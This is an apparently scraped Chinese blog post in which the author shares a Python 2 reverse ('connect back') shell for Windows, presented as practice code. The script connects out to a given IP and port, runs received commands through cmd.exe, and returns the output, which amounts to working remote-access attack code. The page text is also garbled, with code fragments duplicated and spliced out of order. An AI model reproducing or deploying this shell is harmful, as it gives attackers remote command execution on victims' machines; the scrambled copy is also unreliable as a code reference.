您的位置:首页 > 运维架构 > Shell

python 写的一个反向连接的shell

2005-07-27 23:18 375 查看
sock.close()
sys.exit(0)
if data[:-1]=='pwd':
sock.send(os.getcwd()+'/n')
fo最近在复习python,顺便写了一个简单的反向shell。。纯粹是为了练笔。。因为python大部分都存在于linux/unix中,在windows中很少有安装python(尤其是服务器,除非web是python写的)。但我这个shell是一个windows的shell,不过稍加一改就可以在linux/unix下运行了。。。

拿出来怕大家笑话,不过对于那些想学python却还犹豫不决的朋友一个直观的印象吧。。。总之python确实可以称得上世界上最棒的脚本语言,我想它的应用会越来越广泛。。。

下面是代码,高手不要笑我了。。(要知道我能厚者脸皮拿出来,也是经过一番撕心裂肺的斗争的~~:——))

_one>
#!/usr/bin/python

import sys
import os
from socket import *
import string

def usage(name):
print '/t/tPython connect back shell/n/n'
print '/t/t superlone@EST/n/n'
print 'Usage:/n/t %s <connect back ip> <connect back port>/n' % name

if len(sys.argv)==1 or len(sys.argv)>3:
usage(sys.argv[0])
sys.exit(0)

conIP=sys.argv[1]
conPort=int(sys.argv[2])
welcome='/t/t[welcome to the way home]/n'

try:
sock=socket(AF_INET,SOCK_STREAM)
sock.connect((conIP,conPort))
except:
print '[-]Socket Error!/n'
sys.exit(0)

sock.send(welcome)
prompt='superlone>'
while 1:
sock.send(prompt)
while 1:
data=sock.recv(1024)
if data:break
if data[:-1]=='exit':
sock.send('bye bye')
sock.close()
sys.exit(0)
if data[:-1]=='pwd':
sock.send(os.getcwd()+'/n')
for i in range(len(data.split())):
if 'cd' in data.split():
try:
os.chdir(data.split()[i+1])
except:
sock.send('dir change failed!/n')

rpipe=os.popen('cmd.exe /c '+data[:-1])
sdata=rpipe.read()
rpipe.close()
sock.send(sdata)
r i in range(len(data.split())):
if 'cd' in data.split():
try:
os.chdir(data.split()[i+1])
except:
sock.send('dir change failed!/n')

rpipe=os.popen('cmd.exe /c '+data[:-1])
sdata=rpipe.read()
rpipe.close()
sock.send(sdata)

#!/usr/bin/python

import sys
import os
from socket import *
import string

def usage(name):
print '/t/tPython connect back shell/n/n'
print '/t/t superlone@EST/n/n'
print 'Usage:/n/t %s <connect back ip> <connect back port>/n' % name

if len(sys.argv)==1 or len(sys.argv)>3:
usage(sys.argv[0])
sys.exit(0)

conIP=sys.argv[1]
conPort=int(sys.argv[2])
welcome='/t/t[welcome to the way home]/n'

=os.popen('cmd.exe /c '+data[:-1])
sdata=rpipe.read()
rpipe.close()
sock.send(sdata)
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: